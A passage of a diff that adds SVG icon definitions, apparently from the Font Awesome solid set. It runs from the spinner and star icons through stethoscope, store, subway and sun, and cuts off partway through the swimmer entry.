208H368l-10.37-51.85C355.44 145.18 340.26 96 288 96c-52.26 0-67.44 49.18-69.63 60.15L208 208h-36.1l-60.49-20.17L60.84 112c-4.9-7.35-14.83-9.34-22.19-4.44l-13.31 8.88c-7.35 4.9-9.34 14.83-4.44 22.19l53.6 80.41a32.03 32.03 0 0 0 16.51 12.61L160 256H82.06a32.02 32.02 0 0 0-26.63 14.25L2.69 349.38c-4.9 7.35-2.92 17.29 4.44 22.19l13.31 8.88c7.35 4.9 17.29 2.91 22.19-4.44l48-72h47.06l-60.83 97.33A31.988 31.988 0 0 0 72 418.3V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-73.11l74.08-118.53c-1.01 14.05-2.08 28.11-2.08 42.21C192 399.64 232.76 448 288 448s96-48.36 96-101.43c0-14.1-1.08-28.16-2.08-42.21L456 422.89V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-77.71c0-6-1.69-11.88-4.86-16.96L438.31 304h47.06l48 72c4.9 7.35 14.84 9.34 22.19 4.44l13.31-8.88c7.36-4.9 9.34-14.83 4.44-22.18zM406.09 97.51l-20.29 40.58c1.41 4.21 2.49 8.21 3.21 11.79l5.22 26.12h4.67l25.93-8.65 27.15-54.3a31.995 31.995 0 0 0 1.73-24.43l-25.89-77.68C425.03 2.56 415.96-1.98 407.58.82l-15.17 5.06c-8.38 2.8-12.91 11.86-10.12 20.24l23.8 71.39z"], + "spinner": [512, 512, [], "f110", "M304 48c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-48 368c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm208-208c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zM96 256c0-26.51-21.49-48-48-48S0 229.49 0 256s21.49 48 48 48 48-21.49 48-48zm12.922 99.078c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.491-48-48-48zm294.156 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.49-48-48-48zM108.922 60.922c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.491-48-48-48z"], + "splotch": [512, 512, [], "f5bc", "M472.29 195.89l-67.06-22.95c-19.28-6.6-33.54-20.92-38.14-38.3L351.1 74.19c-11.58-43.77-76.57-57.13-109.98-22.62l-46.14 47.67c-13.26 13.71-33.54 20.93-54.2 19.31l-71.88-5.62c-52.05-4.07-86.93 44.88-59.03 82.83l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24L24.62 355.4c-20.59 41.25 22.84 84.87 73.49 73.81l69.96-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101.04 7.57 104.45-37.22l4.7-61.86c1.35-17.79 12.8-33.86 30.63-42.99l62-31.74c44.88-22.96 39.59-80.17-8.95-96.79z"], + "spray-can": [512, 512, [], "f5bd", "M224 32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96h128V32zm256 96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-256 32H96c-53.02 0-96 42.98-96 96v224c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V256c0-53.02-42.98-96-96-96zm-64 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zM480 96c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm-96 32c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-96-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 0c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 192c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z"], + "square": [448, 512, [], "f0c8", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z"], + "square-full": [512, 512, [], "f45c", "M512 512H0V0h512v512z"], + "square-root-alt": [576, 512, [], "f698", "M571.31 251.31l-22.62-22.62c-6.25-6.25-16.38-6.25-22.63 0L480 274.75l-46.06-46.06c-6.25-6.25-16.38-6.25-22.63 0l-22.62 22.62c-6.25 6.25-6.25 16.38 0 22.63L434.75 320l-46.06 46.06c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L480 365.25l46.06 46.06c6.25 6.25 16.38 6.25 22.63 0l22.62-22.62c6.25-6.25 6.25-16.38 0-22.63L525.25 320l46.06-46.06c6.25-6.25 6.25-16.38 0-22.63zM552 0H307.65c-14.54 0-27.26 9.8-30.95 23.87l-84.79 322.8-58.41-106.1A32.008 32.008 0 0 0 105.47 224H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h43.62l88.88 163.73C168.99 503.5 186.3 512 204.94 512c17.27 0 44.44-9 54.28-41.48L357.03 96H552c13.25 0 24-10.75 24-24V24c0-13.26-10.75-24-24-24z"], + "stamp": [512, 512, [], "f5bf", "M32 512h448v-64H32v64zm384-256h-66.56c-16.26 0-29.44-13.18-29.44-29.44v-9.46c0-27.37 8.88-53.41 21.46-77.72 9.11-17.61 12.9-38.39 9.05-60.42-6.77-38.78-38.47-70.7-77.26-77.45C212.62-9.04 160 37.33 160 96c0 14.16 3.12 27.54 8.69 39.58C182.02 164.43 192 194.7 192 226.49v.07c0 16.26-13.18 29.44-29.44 29.44H96c-53.02 0-96 42.98-96 96v32c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-32c0-53.02-42.98-96-96-96z"], + "star": [576, 512, [], "f005", "M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"], + "star-and-crescent": [512, 512, [], "f699", "M340.47 466.36c-1.45 0-6.89.46-9.18.46-116.25 0-210.82-94.57-210.82-210.82S215.04 45.18 331.29 45.18c2.32 0 7.7.46 9.18.46 7.13 0 13.33-5.03 14.75-12.07 1.46-7.25-2.55-14.49-9.47-17.09C316.58 5.54 286.39 0 256 0 114.84 0 0 114.84 0 256s114.84 256 256 256c30.23 0 60.28-5.49 89.32-16.32 5.96-2.02 10.28-7.64 10.28-14.26 0-8.09-6.39-15.06-15.13-15.06zm162.99-252.5l-76.38-11.1-34.16-69.21c-1.83-3.7-5.38-5.55-8.93-5.55s-7.1 1.85-8.93 5.55l-34.16 69.21-76.38 11.1c-8.17 1.18-11.43 11.22-5.52 16.99l55.27 53.87-13.05 76.07c-1.11 6.44 4.01 11.66 9.81 11.66 1.53 0 3.11-.36 4.64-1.17L384 335.37l68.31 35.91c1.53.8 3.11 1.17 4.64 1.17 5.8 0 10.92-5.23 9.81-11.66l-13.05-76.07 55.27-53.87c5.91-5.77 2.65-15.81-5.52-16.99z"], + "star-half": [576, 512, [], "f089", "M288 0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6V0z"], + "star-half-alt": [536, 512, [], "f5c0", "M508.55 171.51L362.18 150.2 296.77 17.81C290.89 5.98 279.42 0 267.95 0c-11.4 0-22.79 5.9-28.69 17.81l-65.43 132.38-146.38 21.29c-26.25 3.8-36.77 36.09-17.74 54.59l105.89 103-25.06 145.48C86.98 495.33 103.57 512 122.15 512c4.93 0 10-1.17 14.87-3.75l130.95-68.68 130.94 68.7c4.86 2.55 9.92 3.71 14.83 3.71 18.6 0 35.22-16.61 31.66-37.4l-25.03-145.49 105.91-102.98c19.04-18.5 8.52-50.8-17.73-54.6zm-121.74 123.2l-18.12 17.62 4.28 24.88 19.52 113.45-102.13-53.59-22.38-11.74.03-317.19 51.03 103.29 11.18 22.63 25.01 3.64 114.23 16.63-82.65 80.38z"], + "star-of-david": [464, 512, [], "f69a", "M405.68 256l53.21-89.39C473.3 142.4 455.48 112 426.88 112H319.96l-55.95-93.98C256.86 6.01 244.43 0 232 0s-24.86 6.01-32.01 18.02L144.04 112H37.11c-28.6 0-46.42 30.4-32.01 54.61L58.32 256 5.1 345.39C-9.31 369.6 8.51 400 37.11 400h106.93l55.95 93.98C207.14 505.99 219.57 512 232 512s24.86-6.01 32.01-18.02L319.96 400h106.93c28.6 0 46.42-30.4 32.01-54.61L405.68 256zm-12.78-88l-19.8 33.26L353.3 168h39.6zm-52.39 88l-52.39 88H175.88l-52.39-88 52.38-88h112.25l52.39 88zM232 73.72L254.79 112h-45.57L232 73.72zM71.1 168h39.6l-19.8 33.26L71.1 168zm0 176l19.8-33.26L110.7 344H71.1zM232 438.28L209.21 400h45.57L232 438.28zM353.29 344l19.8-33.26L392.9 344h-39.61z"], + "star-of-life": [480, 512, [], "f621", "M471.99 334.43L336.06 256l135.93-78.43c7.66-4.42 10.28-14.2 5.86-21.86l-32.02-55.43c-4.42-7.65-14.21-10.28-21.87-5.86l-135.93 78.43V16c0-8.84-7.17-16-16.01-16h-64.04c-8.84 0-16.01 7.16-16.01 16v156.86L56.04 94.43c-7.66-4.42-17.45-1.79-21.87 5.86L2.15 155.71c-4.42 7.65-1.8 17.44 5.86 21.86L143.94 256 8.01 334.43c-7.66 4.42-10.28 14.21-5.86 21.86l32.02 55.43c4.42 7.65 14.21 10.27 21.87 5.86l135.93-78.43V496c0 8.84 7.17 16 16.01 16h64.04c8.84 0 16.01-7.16 16.01-16V339.14l135.93 78.43c7.66 4.42 17.45 1.8 21.87-5.86l32.02-55.43c4.42-7.65 1.8-17.43-5.86-21.85z"], + "step-backward": [448, 512, [], "f048", "M64 468V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12v176.4l195.5-181C352.1 22.3 384 36.6 384 64v384c0 27.4-31.9 41.7-52.5 24.6L136 292.7V468c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12z"], + "step-forward": [448, 512, [], "f051", "M384 44v424c0 6.6-5.4 12-12 12h-48c-6.6 0-12-5.4-12-12V291.6l-195.5 181C95.9 489.7 64 475.4 64 448V64c0-27.4 31.9-41.7 52.5-24.6L312 219.3V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12z"], + "stethoscope": [512, 512, [], "f0f1", "M447.1 112c-34.2.5-62.3 28.4-63 62.6-.5 24.3 12.5 45.6 32 56.8V344c0 57.3-50.2 104-112 104-60 0-109.2-44.1-111.9-99.2C265 333.8 320 269.2 320 192V36.6c0-11.4-8.1-21.3-19.3-23.5L237.8.5c-13-2.6-25.6 5.8-28.2 18.8L206.4 35c-2.6 13 5.8 25.6 18.8 28.2l30.7 6.1v121.4c0 52.9-42.2 96.7-95.1 97.2-53.4.5-96.9-42.7-96.9-96V69.4l30.7-6.1c13-2.6 21.4-15.2 18.8-28.2l-3.1-15.7C107.7 6.4 95.1-2 82.1.6L19.3 13C8.1 15.3 0 25.1 0 36.6V192c0 77.3 55.1 142 128.1 156.8C130.7 439.2 208.6 512 304 512c97 0 176-75.4 176-168V231.4c19.1-11.1 32-31.7 32-55.4 0-35.7-29.2-64.5-64.9-64zm.9 80c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"], + "sticky-note": [448, 512, [], "f249", "M312 320h136V56c0-13.3-10.7-24-24-24H24C10.7 32 0 42.7 0 56v400c0 13.3 10.7 24 24 24h264V344c0-13.2 10.8-24 24-24zm129 55l-98 98c-4.5 4.5-10.6 7-17 7h-6V352h128v6.1c0 6.3-2.5 12.4-7 16.9z"], + "stop": [448, 512, [], "f04d", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z"], + "stop-circle": [512, 512, [], "f28d", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm96 328c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16v160z"], + "stopwatch": [448, 512, [], "f2f2", "M432 304c0 114.9-93.1 208-208 208S16 418.9 16 304c0-104 76.3-190.2 176-205.5V64h-28c-6.6 0-12-5.4-12-12V12c0-6.6 5.4-12 12-12h120c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-28v34.5c37.5 5.8 71.7 21.6 99.7 44.6l27.5-27.5c4.7-4.7 12.3-4.7 17 0l28.3 28.3c4.7 4.7 4.7 12.3 0 17l-29.4 29.4-.6.6C419.7 223.3 432 262.2 432 304zm-176 36V188.5c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12V340c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z"], + "stopwatch-20": [448, 512, [], "e06f", "M398.5,190.91l.59-.61,26.59-26.58a16,16,0,0,0,0-22.63L403,118.41a16,16,0,0,0-22.63,0l-24.68,24.68A206.68,206.68,0,0,0,256,98.5V64h32a16,16,0,0,0,16-16V16A16,16,0,0,0,288,0H160a16.05,16.05,0,0,0-16,16V48a16.05,16.05,0,0,0,16,16h32V98.5A207.92,207.92,0,0,0,16.09,297.57C12.64,411.5,106.76,510.22,220.72,512,337.13,513.77,432,420,432,304A206,206,0,0,0,398.5,190.91ZM204.37,377.55a8.2,8.2,0,0,1,8.32,8.07v22.31a8.2,8.2,0,0,1-8.32,8.07H121.52a16.46,16.46,0,0,1-16.61-17.62c2.78-35.22,14.67-57.41,38.45-91.37,20.42-29.19,27.1-37.32,27.1-62.34,0-16.92-1.79-24.27-12.21-24.27-9.39,0-12.69,7.4-12.69,22.68v5.23a8.2,8.2,0,0,1-8.33,8.07h-24.9a8.2,8.2,0,0,1-8.33-8.07v-4.07c0-27.3,8.48-60.24,56.43-60.24,43,0,55.57,25.85,55.57,61,0,35.58-12.44,51.21-34.35,81.31-11.56,15-24.61,35.57-26.41,51.2ZM344,352.32c0,35.16-12.3,63.68-57.23,63.68C243.19,416,232,386.48,232,352.55V247.22c0-40.73,19.58-63.22,56.2-63.22C325,184,344,206.64,344,245.3ZM287.87,221.73c-9.41,0-13.23,7.5-13.23,20V357.68c0,13.11,3.59,20.59,13.23,20.59s13-8,13-21.27V241.06C300.89,229.79,297.88,221.73,287.87,221.73Z"], + "store": [616, 512, [], "f54e", "M602 118.6L537.1 15C531.3 5.7 521 0 510 0H106C95 0 84.7 5.7 78.9 15L14 118.6c-33.5 53.5-3.8 127.9 58.8 136.4 4.5.6 9.1.9 13.7.9 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18.1 20.1 44.3 33.1 73.8 33.1 4.7 0 9.2-.3 13.7-.9 62.8-8.4 92.6-82.8 59-136.4zM529.5 288c-10 0-19.9-1.5-29.5-3.8V384H116v-99.8c-9.6 2.2-19.5 3.8-29.5 3.8-6 0-12.1-.4-18-1.2-5.6-.8-11.1-2.1-16.4-3.6V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32V283.2c-5.4 1.6-10.8 2.9-16.4 3.6-6.1.8-12.1 1.2-18.2 1.2z"], + "store-alt": [640, 512, [], "f54f", "M320 384H128V224H64v256c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V224h-64v160zm314.6-241.8l-85.3-128c-6-8.9-16-14.2-26.7-14.2H117.4c-10.7 0-20.7 5.3-26.6 14.2l-85.3 128c-14.2 21.3 1 49.8 26.6 49.8H608c25.5 0 40.7-28.5 26.6-49.8zM512 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V224h-64v272z"], + "store-alt-slash": [640, 512, [], "e070", "M17.89,123.62,5.51,142.2c-14.2,21.3,1,49.8,26.59,49.8h74.26ZM576,413.42V224H512V364L384,265V224H330.92l-41.4-32H608c25.5,0,40.7-28.5,26.59-49.8l-85.29-128A32.18,32.18,0,0,0,522.6,0H117.42A31.87,31.87,0,0,0,90.81,14.2l-10.66,16L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.81l19.64-25.26a16,16,0,0,0-2.81-22.45ZM320,384H128V224H64V480a32,32,0,0,0,32,32H352a32,32,0,0,0,32-32V406.59l-64-49.47Z"], + "store-slash": [640, 512, [], "e071", "M121.51,384V284.2a119.43,119.43,0,0,1-28,3.8,123.46,123.46,0,0,1-17.1-1.2,114.88,114.88,0,0,1-15.58-3.6V480c0,17.7,13.59,32,30.4,32H505.75L348.42,384Zm-28-128.09c25.1,0,47.29-10.72,64-27.24L24,120.05c-30.52,53.39-2.45,126.53,56.49,135A95.68,95.68,0,0,0,93.48,255.91ZM602.13,458.09,547.2,413.41V283.2a93.5,93.5,0,0,1-15.57,3.6,127.31,127.31,0,0,1-17.29,1.2,114.89,114.89,0,0,1-28-3.8v79.68L348.52,251.77a88.06,88.06,0,0,0,25.41,4.14c28.11,0,53-13,70.11-33.11,17.19,20.11,42.08,33.11,70.11,33.11a94.31,94.31,0,0,0,13-.91c59.66-8.41,88-82.8,56.06-136.4L521.55,15A30.1,30.1,0,0,0,495.81,0H112A30.11,30.11,0,0,0,86.27,15L76.88,30.78,43.19,3.38A14.68,14.68,0,0,0,21.86,6.19L3.2,31.45A16.58,16.58,0,0,0,5.87,53.91L564.81,508.63a14.69,14.69,0,0,0,21.33-2.82l18.66-25.26A16.58,16.58,0,0,0,602.13,458.09Z"], + "stream": [512, 512, [], "f550", "M16 128h416c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H16C7.16 32 0 39.16 0 48v64c0 8.84 7.16 16 16 16zm480 80H80c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm-64 176H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16z"], + "street-view": [512, 512, [], "f21d", "M367.9 329.76c-4.62 5.3-9.78 10.1-15.9 13.65v22.94c66.52 9.34 112 28.05 112 49.65 0 30.93-93.12 56-208 56S48 446.93 48 416c0-21.6 45.48-40.3 112-49.65v-22.94c-6.12-3.55-11.28-8.35-15.9-13.65C58.87 345.34 0 378.05 0 416c0 53.02 114.62 96 256 96s256-42.98 256-96c0-37.95-58.87-70.66-144.1-86.24zM256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-64 192v96c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-96c17.67 0 32-14.33 32-32v-96c0-26.51-21.49-48-48-48h-11.8c-11.07 5.03-23.26 8-36.2 8s-25.13-2.97-36.2-8H208c-26.51 0-48 21.49-48 48v96c0 17.67 14.33 32 32 32z"], + "strikethrough": [512, 512, [], "f0cc", "M496 224H293.9l-87.17-26.83A43.55 43.55 0 0 1 219.55 112h66.79A49.89 49.89 0 0 1 331 139.58a16 16 0 0 0 21.46 7.15l42.94-21.47a16 16 0 0 0 7.16-21.46l-.53-1A128 128 0 0 0 287.51 32h-68a123.68 123.68 0 0 0-123 135.64c2 20.89 10.1 39.83 21.78 56.36H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-180.24 96A43 43 0 0 1 336 356.45 43.59 43.59 0 0 1 292.45 400h-66.79A49.89 49.89 0 0 1 181 372.42a16 16 0 0 0-21.46-7.15l-42.94 21.47a16 16 0 0 0-7.16 21.46l.53 1A128 128 0 0 0 224.49 480h68a123.68 123.68 0 0 0 123-135.64 114.25 114.25 0 0 0-5.34-24.36z"], + "stroopwafel": [512, 512, [], "f551", "M188.12 210.74L142.86 256l45.25 45.25L233.37 256l-45.25-45.26zm113.13-22.62L256 142.86l-45.25 45.25L256 233.37l45.25-45.25zm-90.5 135.76L256 369.14l45.26-45.26L256 278.63l-45.25 45.25zM256 0C114.62 0 0 114.62 0 256s114.62 256 256 256 256-114.62 256-256S397.38 0 256 0zm186.68 295.6l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-28.29-28.29-45.25 45.25 33.94 33.94 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-33.94-33.94-45.26 45.26 28.29 28.29c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0L256 414.39l-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l28.29-28.29-45.25-45.26-33.94 33.94 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 33.94-33.94-45.25-45.25-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0L69.32 295.6c-3.12-3.12-3.12-8.19 0-11.31L97.61 256l-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l28.29 28.29 45.25-45.26-33.94-33.94-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 33.94 33.94 45.26-45.25-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0L256 97.61l28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-28.29 28.29 45.26 45.25 33.94-33.94-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-33.94 33.94 45.25 45.26 28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31L414.39 256l28.29 28.28a8.015 8.015 0 0 1 0 11.32zM278.63 256l45.26 45.25L369.14 256l-45.25-45.26L278.63 256z"], + "subscript": [512, 512, [], "f12c", "M496 448h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 352h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z"], + "subway": [448, 512, [], "f239", "M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zM200 232V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm200 0V120c0-13.255-10.745-24-24-24H272c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm-48 56c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm-256 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z"], + "suitcase": [512, 512, [], "f0f2", "M128 480h256V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v400zm64-384h128v32H192V96zm320 80v256c0 26.5-21.5 48-48 48h-48V128h48c26.5 0 48 21.5 48 48zM96 480H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h48v352z"], + "suitcase-rolling": [384, 512, [], "f5c1", "M336 160H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h16v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h128v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h16c26.51 0 48-21.49 48-48V208c0-26.51-21.49-48-48-48zm-16 216c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zM144 48h96v80h48V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v80h48V48z"], + "sun": [512, 512, [], "f185", "M256 160c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm246.4 80.5l-94.7-47.3 33.5-100.4c4.5-13.6-8.4-26.5-21.9-21.9l-100.4 33.5-47.4-94.8c-6.4-12.8-24.6-12.8-31 0l-47.3 94.7L92.7 70.8c-13.6-4.5-26.5 8.4-21.9 21.9l33.5 100.4-94.7 47.4c-12.8 6.4-12.8 24.6 0 31l94.7 47.3-33.5 100.5c-4.5 13.6 8.4 26.5 21.9 21.9l100.4-33.5 47.3 94.7c6.4 12.8 24.6 12.8 31 0l47.3-94.7 100.4 33.5c13.6 4.5 26.5-8.4 21.9-21.9l-33.5-100.4 94.7-47.3c13-6.5 13-24.7.2-31.1zm-155.9 106c-49.9 49.9-131.1 49.9-181 0-49.9-49.9-49.9-131.1 0-181 49.9-49.9 131.1-49.9 181 0 49.9 49.9 49.9 131.1 0 181z"], + "superscript": [512, 512, [], "f12b", "M496 160h-16V16a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 64h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z"], + "surprise": [496, 512, [], "f5c2", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm112 208c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm80-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "swatchbook": [512, 512, [], "f5c3", "M434.66,167.71h0L344.5,77.36a31.83,31.83,0,0,0-45-.07h0l-.07.07L224,152.88V424L434.66,212.9A32,32,0,0,0,434.66,167.71ZM480,320H373.09L186.68,506.51c-2.06,2.07-4.5,3.58-6.68,5.49H480a32,32,0,0,0,32-32V352A32,32,0,0,0,480,320ZM192,32A32,32,0,0,0,160,0H32A32,32,0,0,0,0,32V416a96,96,0,0,0,192,0ZM96,440a24,24,0,1,1,24-24A24,24,0,0,1,96,440Zm32-184H64V192h64Zm0-128H64V64h64Z"], + "swimmer": [640, 512, [], "f5c4", "M189.61 310.58c3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c16.02-14.77 34.5-22.58 53.46-22.58h16.3c18.96 0 37.45 7.81 53.46 22.58 3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c14.86-13.71 31.88-21.12 49.39-22.16l-112.84-80.6 18-12.86c3.64-2.58 